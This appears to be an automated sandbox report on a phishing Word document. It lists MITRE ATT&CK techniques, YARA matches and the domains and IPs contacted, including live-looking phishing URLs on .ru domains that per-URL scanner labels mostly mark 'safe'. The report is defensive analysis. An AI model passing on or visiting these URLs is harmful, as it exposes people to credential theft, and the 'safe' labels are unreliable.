              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX

              Malware Analysis System Evasion

              barindex
              Source: Yara matchFile source: 0.0.d.script.csv, type: HTML
              Source: Yara matchFile source: 1.11..script.csv, type: HTML
              Source: Yara matchFile source: 1.12..script.csv, type: HTML
              Source: Yara matchFile source: 1.4.pages.csv, type: HTML
              Source: Yara matchFile source: 1.3.pages.csv, type: HTML
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information queried: ProcessInformation
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXERegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXERegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

              Mitre Att&ck Matrix

              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
              Gather Victim Identity Information1
              Scripting              		Valid AccountsWindows Management Instrumentation2
              Browser Extensions              		1
              Process Injection              		11
              Masquerading              		OS Credential Dumping1
              Process Discovery              		Remote ServicesData from Local System1
              Encrypted Channel              		Exfiltration Over Other Network MediumAbuse Accessibility Features
              CredentialsDomainsDefault AccountsScheduled Task/Job1
              Scripting              		1
              Extra Window Memory Injection              		1
              Process Injection              		LSASS Memory1
              File and Directory Discovery              		Remote Desktop ProtocolData from Removable Media3
              Ingress Tool Transfer              		Exfiltration Over BluetoothNetwork Denial of Service
              Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)1
              Deobfuscate/Decode Files or Information              		Security Account Manager11
              System Information Discovery              		SMB/Windows Admin SharesData from Network Shared Drive4
              Non-Application Layer Protocol              		Automated ExfiltrationData Encrypted for Impact
              Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
              File Deletion              		NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput Capture5
              Application Layer Protocol              		Traffic DuplicationData Destruction
              Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
              Extra Window Memory Injection              		LSA SecretsInternet Connection DiscoverySSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact

              Screenshots

              Download Video

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              ⊘No Antivirus matches

              Dropped Files

              ⊘No Antivirus matches

              Unpacked PE Files

              ⊘No Antivirus matches

              Domains

              ⊘No Antivirus matches

              URLs

              SourceDetectionScannerLabelLink
              https://ufw.xcsyiuul.ru/VgRu6z/100%Avira URL Cloudphishing
              https://ufw.xcsyiuul.ru/kl4L6GOLUlZagYCbsT3n6wqLN3PPB4LSklCpkdoB6Hfbkn8qxSWHH35Dn219CI55zF4wx2200%Avira URL Cloudsafe
              https://ufw.xcsyiuul.ru/GDSherpa-bold.woff20%Avira URL Cloudsafe
              https://ufw.xcsyiuul.ru/opukYQwNBYnveWE4OuuJmnAObX1DCAfeJFnp451400%Avira URL Cloudsafe
              https://ufw.xcsyiuul.ru/GDSherpa-bold.woff0%Avira URL Cloudsafe
              https://ufw.xcsyiuul.ru/stx2M5Jdm9gg3qBffFoJIJebt5UabJPIc8FXwxuEsbkhsJTk2mnfFjrC5KgZFdLD9yyO1RhDbBmQ3SGmwJNtEef2600%Avira URL Cloudsafe
              https://ufw.xcsyiuul.ru/zc8368kecikmGVURy2hWmf6OT4KlwqmOUnhLuW4maM4KVkPDfgy0%Avira URL Cloudsafe
              https://ufw.xcsyiuul.ru/favicon.ico0%Avira URL Cloudsafe
              https://wvsdp.hxnywi.ru/loray!paq7g0%Avira URL Cloudsafe
              https://ufw.xcsyiuul.ru/GDSherpa-vf2.woff20%Avira URL Cloudsafe
              https://ufw.xcsyiuul.ru/qr0uxgtuTYR0QcCiSXUt98TdL9Tf5oTcXdP2Z0IGfr0stxNczZh4i6yjWFbKiM3mL4WBw03hTKwAVkwNGg8ef2400%Avira URL Cloudsafe
              https://nilbeu7n2rgz5vmhnc7ygw6abfjbrgxkznhy7u1q5celdohgvcr5oxg0.xrfwss.ru/aucmqeshizmnbychfhhaatHTbDtOyyynPCNHGTXWHWTLOEDEQUVMECUXDQVHJXTNDUSOMCQQFHZQCrsiNV5enQ8rJq6uB9Iyz3VBwx400%Avira URL Cloudsafe
              https://ufw.xcsyiuul.ru/ghcBoLvO4eJm0eAlk0f5ymMiedTy7yuz6y2BhxyJEwi3AR9wPbZFFelr4hPsyKPlHTxYRJef2100%Avira URL Cloudsafe
              https://ufw.xcsyiuul.ru/abzhFE3iD3pq0gh300%Avira URL Cloudsafe
              https://ufw.xcsyiuul.ru/GDSherpa-regular.woff0%Avira URL Cloudsafe
              https://ufw.xcsyiuul.ru/ijU7wFhpaX6XEytqxmDUYP9cdfjsxCFxkbJSgXhNOE781620%Avira URL Cloudsafe
              https://ufw.xcsyiuul.ru/rsBcnDvaiorUutbh5B3Adjnuv5P6J55tBLVCjJ9xNFEiXCcd1950%Avira URL Cloudsafe
              https://ufw.xcsyiuul.ru/vsIkbIJnYDYWAp6qY1eqmmOJVvvWGQfJQf8A4iiaVOzfaO6eBkFRp1BMcm0%Avira URL Cloudsafe
              https://ufw.xcsyiuul.ru/12TvEGAMcd3aPS67200%Avira URL Cloudsafe

              Domains and IPs

              Contacted Domains

              NameIPActiveMaliciousAntivirus DetectionReputation
              nilbeu7n2rgz5vmhnc7ygw6abfjbrgxkznhy7u1q5celdohgvcr5oxg0.xrfwss.ru
              		172.67.159.28
              		truefalse
                		unknown
                a.nel.cloudflare.com
                		35.190.80.1
                		truefalse
                  		high
                  developers.cloudflare.com
                  		104.16.2.189
                  		truefalse
                    		high
                    github.com
                    		140.82.114.4
                    		truefalse
                      		high
                      ufw.xcsyiuul.ru
                      		172.67.168.171
                      		truefalse
                        		high
                        wvsdp.hxnywi.ru
                        		172.67.149.248
                        		truefalse
                          		unknown
                          code.jquery.com
                          		151.101.130.137
                          		truefalse
                            		high
                            cdnjs.cloudflare.com
                            		104.17.25.14
                            		truefalse
                              		high
                              get.geojs.io
                              		104.26.0.100
                              		truefalse
                                		high
                                www.google.com
                                		142.250.65.164
                                		truefalse
                                  		high
                                  s-0005.dual-s-msedge.net
                                  		52.123.128.14
                                  		truefalse
                                    		high
                                    d19d360lklgih4.cloudfront.net
                                    		18.164.124.11
                                    		truefalse
                                      		high
                                      objects.githubusercontent.com
                                      		185.199.108.133
                                      		truefalse
                                        		high
                                        ok4static.oktacdn.com
                                        		unknown
                                        		unknownfalse
                                          		high

                                          Contacted URLs

                                          NameMaliciousAntivirus DetectionReputation
                                          https://otelrules.svc.static.microsoft/rules/rule701151v1s19.xmlfalse
                                            		high
                                            https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7false
                                              		high
                                              https://otelrules.svc.static.microsoft/rules/rule704001v0s19.xmlfalse
                                                		high
                                                https://otelrules.svc.static.microsoft/rules/rule702151v1s19.xmlfalse
                                                  		high
                                                  https://otelrules.svc.static.microsoft/rules/rule700151v1s19.xmlfalse
                                                    		high
                                                    https://otelrules.svc.static.microsoft/rules/rule703151v1s19.xmlfalse
                                                      		high
                                                      https://otelrules.svc.static.microsoft/rules/rule120630v0s19.xmlfalse
                                                        		high
                                                        https://otelrules.svc.static.microsoft/rules/rule120645v0s19.xmlfalse
                                                          		high
                                                          https://otelrules.svc.static.microsoft/rules/rule700001v2s19.xmlfalse
                                                            		high
                                                            https://otelrules.svc.static.microsoft/rules/rule701751v1s19.xmlfalse
                                                              		high
                                                              https://otelrules.svc.static.microsoft/rules/rule120663v0s19.xmlfalse
                                                                		high
                                                                https://otelrules.svc.static.microsoft/rules/rule701301v1s19.xmlfalse
                                                                  		high
                                                                  https://otelrules.svc.static.microsoft/rules/rule702751v1s19.xmlfalse
                                                                    		high
                                                                    https://otelrules.svc.static.microsoft/rules/rule702301v1s19.xmlfalse
                                                                      		high
                                                                      https://otelrules.svc.static.microsoft/rules/rule120609v0s19.xmlfalse
                                                                        		high
                                                                        https://otelrules.svc.static.microsoft/rules/rule120627v0s19.xmlfalse
                                                                          		high
                                                                          https://otelrules.svc.static.microsoft/rules/rule703601v0s19.xmlfalse
                                                                            		high
                                                                            https://otelrules.svc.static.microsoft/rules/rule700751v1s19.xmlfalse
                                                                              		high
                                                                              https://otelrules.svc.static.microsoft/rules/rule700301v1s19.xmlfalse
                                                                                		high
                                                                                https://otelrules.svc.static.microsoft/rules/rule701550v1s19.xmlfalse
                                                                                  		high
                                                                                  https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.cssfalse
                                                                                    		high
                                                                                    https://otelrules.svc.static.microsoft/rules/rule700100v1s19.xmlfalse
                                                                                      		high
                                                                                      https://otelrules.svc.static.microsoft/rules/rule702550v1s19.xmlfalse
                                                                                        		high
                                                                                        https://otelrules.svc.static.microsoft/rules/rule700550v1s19.xmlfalse
                                                                                          		high
                                                                                          https://otelrules.svc.static.microsoft/rules/rule703400v0s19.xmlfalse
                                                                                            		high
                                                                                            https://otelrules.svc.static.microsoft/rules/rule700901v1s19.xmlfalse
                                                                                              		high
                                                                                              https://otelrules.svc.static.microsoft/rules/rule701100v1s19.xmlfalse
                                                                                                		high
                                                                                                https://otelrules.svc.static.microsoft/rules/rule700400v2s19.xmlfalse
                                                                                                  		high
                                                                                                  https://otelrules.svc.static.microsoft/rules/rule701901v1s19.xmlfalse
                                                                                                    		high
                                                                                                    https://otelrules.svc.static.microsoft/rules/rule120635v0s19.xmlfalse
                                                                                                      		high
                                                                                                      https://otelrules.svc.static.microsoft/rules/rule703850v0s19.xmlfalse
                                                                                                        		high
                                                                                                        https://otelrules.svc.static.microsoft/rules/rule702901v1s19.xmlfalse
                                                                                                          		high
                                                                                                          https://otelrules.svc.static.microsoft/rules/rule120612v0s19.xmlfalse
                                                                                                            		high
                                                                                                            https://otelrules.svc.static.microsoft/rules/rule703000v1s19.xmlfalse
                                                                                                              		high
                                                                                                              https://otelrules.svc.static.microsoft/rules/rule120681v0s19.xmlfalse
                                                                                                                		high
                                                                                                                https://otelrules.svc.static.microsoft/rules/rule120640v0s19.xmlfalse
                                                                                                                  		high
                                                                                                                  https://otelrules.svc.static.microsoft/rules/rule703450v1s19.xmlfalse
                                                                                                                    		high
                                                                                                                    https://otelrules.svc.static.microsoft/rules/rule700700v1s19.xmlfalse
                                                                                                                      		high
                                                                                                                      https://otelrules.svc.static.microsoft/rules/rule702000v1s19.xmlfalse
                                                                                                                        		high
                                                                                                                        https://otelrules.svc.static.microsoft/rules/rule702450v1s19.xmlfalse
                                                                                                                          		high
                                                                                                                          https://otelrules.svc.static.microsoft/rules/rule120617v0s19.xmlfalse
                                                                                                                            		high
                                                                                                                            https://otelrules.svc.static.microsoft/rules/rule703750v0s19.xmlfalse
                                                                                                                              		high
                                                                                                                              https://otelrules.svc.static.microsoft/rules/rule703300v0s19.xmlfalse
                                                                                                                                		high
                                                                                                                                https://otelrules.svc.static.microsoft/rules/rule700450v1s19.xmlfalse
                                                                                                                                  		high
                                                                                                                                  https://otelrules.svc.static.microsoft/rules/rule701700v1s19.xmlfalse
                                                                                                                                    		high
                                                                                                                                    https://otelrules.svc.static.microsoft/rules/rule702700v1s19.xmlfalse
                                                                                                                                      		high
                                                                                                                                      https://ufw.xcsyiuul.ru/favicon.icofalse
                                                                                                                                      • Avira URL Cloud: safe
                                                                                                                                      		unknown
                                                                                                                                      https://otelrules.svc.static.microsoft/rules/rule700851v1s19.xmlfalse
                                                                                                                                        		high
                                                                                                                                        https://otelrules.svc.static.microsoft/rules/rule703701v0s19.xmlfalse
                                                                                                                                          		high
                                                                                                                                          https://otelrules.svc.static.microsoft/rules/rule701851v1s19.xmlfalse
                                                                                                                                            		high
                                                                                                                                            https://otelrules.svc.static.microsoft/rules/rule702851v1s19.xmlfalse
                                                                                                                                              		high
                                                                                                                                              https://otelrules.svc.static.microsoft/rules/rule120619v0s19.xmlfalse
                                                                                                                                                		high
                                                                                                                                                https://otelrules.svc.static.microsoft/rules/rule700600v1s19.xmlfalse
                                                                                                                                                  		high
                                                                                                                                                  https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.jsfalse
                                                                                                                                                    		high
                                                                                                                                                    https://otelrules.svc.static.microsoft/rules/rule120625v0s19.xmlfalse
                                                                                                                                                      		high
                                                                                                                                                      https://otelrules.svc.static.microsoft/rules/rule120622v0s19.xmlfalse
                                                                                                                                                        		high
                                                                                                                                                        https://otelrules.svc.static.microsoft/rules/rule120653v0s19.xmlfalse
                                                                                                                                                          		high
                                                                                                                                                          https://otelrules.svc.static.microsoft/rules/rule702600v1s19.xmlfalse
                                                                                                                                                            		high
                                                                                                                                                            https://ufw.xcsyiuul.ru/opukYQwNBYnveWE4OuuJmnAObX1DCAfeJFnp45140false
                                                                                                                                                            • Avira URL Cloud: safe
                                                                                                                                                            		unknown
                                                                                                                                                            https://otelrules.svc.static.microsoft/rules/rule120647v0s19.xmlfalse
                                                                                                                                                              		high
                                                                                                                                                              https://otelrules.svc.static.microsoft/rules/rule224900v0s19.xmlfalse
                                                                                                                                                                		high
                                                                                                                                                                https://ufw.xcsyiuul.ru/zc8368kecikmGVURy2hWmf6OT4KlwqmOUnhLuW4maM4KVkPDfgyfalse
                                                                                                                                                                • Avira URL Cloud: safe
                                                                                                                                                                		unknown
                                                                                                                                                                https://otelrules.svc.static.microsoft/rules/rule703100v1s19.xmlfalse
                                                                                                                                                                  		high
                                                                                                                                                                  https://otelrules.svc.static.microsoft/rules/rule120668v0s19.xmlfalse
                                                                                                                                                                    		high
                                                                                                                                                                    https://otelrules.svc.static.microsoft/rules/rule702100v1s19.xmlfalse
                                                                                                                                                                      		high
                                                                                                                                                                      https://otelrules.svc.static.microsoft/rules/rule120620v0s19.xmlfalse
                                                                                                                                                                        		high
                                                                                                                                                                        https://ufw.xcsyiuul.ru/GDSherpa-vf2.woff2false
                                                                                                                                                                        • Avira URL Cloud: safe
                                                                                                                                                                        		unknown
                                                                                                                                                                        https://otelrules.svc.static.microsoft/rules/rule703351v0s19.xmlfalse
                                                                                                                                                                          		high
                                                                                                                                                                          https://ufw.xcsyiuul.ru/qr0uxgtuTYR0QcCiSXUt98TdL9Tf5oTcXdP2Z0IGfr0stxNczZh4i6yjWFbKiM3mL4WBw03hTKwAVkwNGg8ef240false
                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                          		unknown
                                                                                                                                                                          https://otelrules.svc.static.microsoft/rules/rule120128v0s19.xmlfalse
                                                                                                                                                                            		high
                                                                                                                                                                            https://ufw.xcsyiuul.ru/VgRu6z/true
                                                                                                                                                                            • Avira URL Cloud: phishing
                                                                                                                                                                            		unknown
                                                                                                                                                                            https://otelrules.svc.static.microsoft/rules/rule120650v0s19.xmlfalse
                                                                                                                                                                              		high
                                                                                                                                                                              https://otelrules.svc.static.microsoft/rules/rule703551v0s19.xmlfalse
                                                                                                                                                                                		high
                                                                                                                                                                                https://otelrules.svc.static.microsoft/rules/rule703051v3s19.xmlfalse
                                                                                                                                                                                  		high
                                                                                                                                                                                  https://otelrules.svc.static.microsoft/rules/rule120661v0s19.xmlfalse
                                                                                                                                                                                    		high
                                                                                                                                                                                    https://otelrules.svc.static.microsoft/rules/rule120655v0s19.xmlfalse
                                                                                                                                                                                      		high
                                                                                                                                                                                      https://otelrules.svc.static.microsoft/rules/rule120614v0s19.xmlfalse
                                                                                                                                                                                        		high
                                                                                                                                                                                        https://otelrules.svc.static.microsoft/rules/other-Win32-v19.bundlefalse
                                                                                                                                                                                          		high
                                                                                                                                                                                          https://otelrules.svc.static.microsoft/rules/rule702350v1s19.xmlfalse
                                                                                                                                                                                            		high
                                                                                                                                                                                            https://otelrules.svc.static.microsoft/rules/rule120639v0s19.xmlfalse
                                                                                                                                                                                              		high
                                                                                                                                                                                              https://otelrules.svc.static.microsoft/rules/rule701050v1s19.xmlfalse
                                                                                                                                                                                                		high
                                                                                                                                                                                                https://otelrules.svc.static.microsoft/rules/rule704200v0s19.xmlfalse
                                                                                                                                                                                                  		high
                                                                                                                                                                                                  https://ufw.xcsyiuul.ru/ijU7wFhpaX6XEytqxmDUYP9cdfjsxCFxkbJSgXhNOE78162false
                                                                                                                                                                                                  • Avira URL Cloud: safe
                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                  https://otelrules.svc.static.microsoft/rules/rule702200v1s19.xmlfalse
                                                                                                                                                                                                    		high
                                                                                                                                                                                                    https://otelrules.svc.static.microsoft/rules/rule704050v0s19.xmlfalse
                                                                                                                                                                                                      		high
                                                                                                                                                                                                      https://otelrules.svc.static.microsoft/rules/rule700350v1s19.xmlfalse
                                                                                                                                                                                                        		high
                                                                                                                                                                                                        https://otelrules.svc.static.microsoft/rules/rule120648v0s19.xmlfalse
                                                                                                                                                                                                          		high
                                                                                                                                                                                                          https://otelrules.svc.static.microsoft/rules/rule120657v0s19.xmlfalse
                                                                                                                                                                                                            		high
                                                                                                                                                                                                            https://otelrules.svc.static.microsoft/rules/rule702500v1s19.xmlfalse
                                                                                                                                                                                                              		high
                                                                                                                                                                                                              https://otelrules.svc.static.microsoft/rules/rule120660v0s19.xmlfalse
                                                                                                                                                                                                                		high
                                                                                                                                                                                                                https://otelrules.svc.static.microsoft/rules/rule703500v0s19.xmlfalse
                                                                                                                                                                                                                  		high
                                                                                                                                                                                                                  https://otelrules.svc.static.microsoft/rules/rule703950v0s19.xmlfalse
                                                                                                                                                                                                                    		high
                                                                                                                                                                                                                    https://otelrules.svc.static.microsoft/rules/rule700200v1s19.xmlfalse
                                                                                                                                                                                                                      		high
                                                                                                                                                                                                                      https://otelrules.svc.static.microsoft/rules/rule700500v1s19.xmlfalse
                                                                                                                                                                                                                        		high
                                                                                                                                                                                                                        https://otelrules.svc.static.microsoft/rules/rule701650v1s19.xmlfalse
                                                                                                                                                                                                                          		high
                                                                                                                                                                                                                          https://otelrules.svc.static.microsoft/rules/rule224902v2s19.xmlfalse
                                                                                                                                                                                                                            		high
                                                                                                                                                                                                                            https://otelrules.svc.static.microsoft/rules/rule700950v1s19.xmlfalse
                                                                                                                                                                                                                              		high
                                                                                                                                                                                                                              https://otelrules.svc.static.microsoft/rules/rule120651v0s19.xmlfalse
                                                                                                                                                                                                                                		high
                                                                                                                                                                                                                                https://ufw.xcsyiuul.ru/GDSherpa-regular.wofffalse
                                                                                                                                                                                                                                • Avira URL Cloud: safe
                                                                                                                                                                                                                                		unknown
                                                                                                                                                                                                                                https://otelrules.svc.static.microsoft/rules/rule120402v21s19.xmlfalse
                                                                                                                                                                                                                                  		high

                                                                                                                                                                                                                                  World Map of Contacted IPs

                                                                                                                                                                                                                                  • No. of IPs < 25%
                                                                                                                                                                                                                                  • 25% < No. of IPs < 50%
                                                                                                                                                                                                                                  • 50% < No. of IPs < 75%
                                                                                                                                                                                                                                  • 75% < No. of IPs

                                                                                                                                                                                                                                  Public IPs

                                                                                                                                                                                                                                  IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                                                                                  140.82.114.4
                                                                                                                                                                                                                                  		github.comUnited States
                                                                                                                                                                                                                                  		36459GITHUBUSfalse
                                                                                                                                                                                                                                  184.31.69.3
                                                                                                                                                                                                                                  		unknownUnited States
                                                                                                                                                                                                                                  		20940AKAMAI-ASN1EUfalse
                                                                                                                                                                                                                                  172.67.159.28
                                                                                                                                                                                                                                  		nilbeu7n2rgz5vmhnc7ygw6abfjbrgxkznhy7u1q5celdohgvcr5oxg0.xrfwss.ruUnited States
                                                                                                                                                                                                                                  		13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                                                  142.251.32.99
                                                                                                                                                                                                                                  		unknownUnited States
                                                                                                                                                                                                                                  		15169GOOGLEUSfalse
                                                                                                                                                                                                                                  40.79.173.40
                                                                                                                                                                                                                                  		unknownUnited States
                                                                                                                                                                                                                                  		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                                                                                                                                                                                                                  151.101.130.137
                                                                                                                                                                                                                                  		code.jquery.comUnited States
                                                                                                                                                                                                                                  		54113FASTLYUSfalse
                                                                                                                                                                                                                                  142.250.80.67
                                                                                                                                                                                                                                  		unknownUnited States
                                                                                                                                                                                                                                  		15169GOOGLEUSfalse
                                                                                                                                                                                                                                  104.21.33.57
                                                                                                                                                                                                                                  		unknownUnited States
                                                                                                                                                                                                                                  		13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                                                  142.250.65.238
                                                                                                                                                                                                                                  		unknownUnited States
                                                                                                                                                                                                                                  		15169GOOGLEUSfalse
                                                                                                                                                                                                                                  142.251.40.174
                                                                                                                                                                                                                                  		unknownUnited States
                                                                                                                                                                                                                                  		15169GOOGLEUSfalse
                                                                                                                                                                                                                                  18.164.124.11
                                                                                                                                                                                                                                  		d19d360lklgih4.cloudfront.netUnited States
                                                                                                                                                                                                                                  		3MIT-GATEWAYSUSfalse
                                                                                                                                                                                                                                  35.190.80.1
                                                                                                                                                                                                                                  		a.nel.cloudflare.comUnited States
                                                                                                                                                                                                                                  		15169GOOGLEUSfalse
                                                                                                                                                                                                                                  52.109.6.53
                                                                                                                                                                                                                                  		unknownUnited States
                                                                                                                                                                                                                                  		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                                                                                                                                                                                                                  104.16.2.189
                                                                                                                                                                                                                                  		developers.cloudflare.comUnited States
                                                                                                                                                                                                                                  		13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                                                  172.67.149.248
                                                                                                                                                                                                                                  		wvsdp.hxnywi.ruUnited States
                                                                                                                                                                                                                                  		13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                                                  1.1.1.1
                                                                                                                                                                                                                                  		unknownAustralia
                                                                                                                                                                                                                                  		13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                                                  172.217.165.138
                                                                                                                                                                                                                                  		unknownUnited States
                                                                                                                                                                                                                                  		15169GOOGLEUSfalse
                                                                                                                                                                                                                                  142.250.65.174
                                                                                                                                                                                                                                  		unknownUnited States
                                                                                                                                                                                                                                  		15169GOOGLEUSfalse
                                                                                                                                                                                                                                  52.111.251.19
                                                                                                                                                                                                                                  		unknownUnited States
                                                                                                                                                                                                                                  		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                                                                                                                                                                                                                  104.21.29.234
                                                                                                                                                                                                                                  		unknownUnited States
                                                                                                                                                                                                                                  		13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                                                  104.21.87.24
                                                                                                                                                                                                                                  		unknownUnited States
                                                                                                                                                                                                                                  		13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                                                  172.67.168.171
                                                                                                                                                                                                                                  		ufw.xcsyiuul.ruUnited States
                                                                                                                                                                                                                                  		13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                                                  52.123.128.14
                                                                                                                                                                                                                                  		s-0005.dual-s-msedge.netUnited States
                                                                                                                                                                                                                                  		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                                                                                                                                                                                                                  142.250.64.67
                                                                                                                                                                                                                                  		unknownUnited States
                                                                                                                                                                                                                                  		15169GOOGLEUSfalse
                                                                                                                                                                                                                                  18.164.124.110
                                                                                                                                                                                                                                  		unknownUnited States
                                                                                                                                                                                                                                  		3MIT-GATEWAYSUSfalse
                                                                                                                                                                                                                                  142.251.167.84
                                                                                                                                                                                                                                  		unknownUnited States
                                                                                                                                                                                                                                  		15169GOOGLEUSfalse
                                                                                                                                                                                                                                  185.199.108.133
                                                                                                                                                                                                                                  		objects.githubusercontent.comNetherlands
                                                                                                                                                                                                                                  		54113FASTLYUSfalse
                                                                                                                                                                                                                                  142.250.65.164
                                                                                                                                                                                                                                  		www.google.comUnited States
                                                                                                                                                                                                                                  		15169GOOGLEUSfalse
                                                                                                                                                                                                                                  104.16.4.189
                                                                                                                                                                                                                                  		unknownUnited States
                                                                                                                                                                                                                                  		13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                                                  104.17.25.14
                                                                                                                                                                                                                                  		cdnjs.cloudflare.comUnited States
                                                                                                                                                                                                                                  		13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                                                  104.26.0.100
                                                                                                                                                                                                                                  		get.geojs.ioUnited States
                                                                                                                                                                                                                                  		13335CLOUDFLARENETUSfalse

                                                                                                                                                                                                                                  Private

                                                                                                                                                                                                                                  IP
                                                                                                                                                                                                                                  192.168.2.17

                                                                                                                                                                                                                                  General Information

                                                                                                                                                                                                                                  Joe Sandbox version:42.0.0 Malachite
                                                                                                                                                                                                                                  Analysis ID:1648411
                                                                                                                                                                                                                                  Start date and time:2025-03-25 20:22:58 +01:00
                                                                                                                                                                                                                                  Joe Sandbox product:CloudBasic
                                                                                                                                                                                                                                  Overall analysis duration:
                                                                                                                                                                                                                                  Hypervisor based Inspection enabled:false
                                                                                                                                                                                                                                  Report type:full
                                                                                                                                                                                                                                  Cookbook file name:defaultwindowsinteractivecookbook.jbs
                                                                                                                                                                                                                                  Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                                                                                                  Number of analysed new started processes analysed:16
                                                                                                                                                                                                                                  Number of new started drivers analysed:0
                                                                                                                                                                                                                                  Number of existing processes analysed:0
                                                                                                                                                                                                                                  Number of existing drivers analysed:0
                                                                                                                                                                                                                                  Number of injected processes analysed:0
                                                                                                                                                                                                                                  Technologies:
                                                                                                                                                                                                                                  • EGA enabled
                                                                                                                                                                                                                                  Analysis Mode:stream
                                                                                                                                                                                                                                  Analysis stop reason:Timeout
                                                                                                                                                                                                                                  Sample name:Revised - Hartzellprop.com 2025 Handbook29828.doc
                                                                                                                                                                                                                                  Detection:MAL
                                                                                                                                                                                                                                  Classification:mal100.phis.evad.winDOC@20/33@39/272
                                                                                                                                                                                                                                  Cookbook Comments:
                                                                                                                                                                                                                                  • Found application associated with file extension: .doc
                                                                                                                                                                                                                                  • Exclude process from analysis (whitelisted): dllhost.exe
                                                                                                                                                                                                                                  • Excluded IPs from analysis (whitelisted): 52.109.6.53, 184.31.69.3, 52.111.251.19, 52.111.251.17, 52.111.251.16, 52.111.251.18, 40.79.173.40, 52.123.128.14, 4.245.163.56
                                                                                                                                                                                                                                  • Excluded domains from analysis (whitelisted): ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, onedscolprdaue00.australiaeast.cloudapp.azure.com, slscr.update.microsoft.com, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, prod-na.naturallanguageeditorservice.osi.office.net.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, e16604.dscf.akamaiedge.net, fe3cr.delivery.mp.microsoft.com, prod-canc-resolver.naturallanguageeditorservice.osi.office.net.akadns.net, prod1.naturallanguageeditorservice.osi.office.net.akadns.net, dual-s-0005-office.config.skype.com, nleditor.osi.office.net, config.officeapps.live.com, us.configsvc1.live.com.akadns.net, eus2-azsc-config.officeapps.live.com, officeclient.microsoft.com, ecs.office.trafficmanager.net, prod.fs.microsoft.com.akadns.net
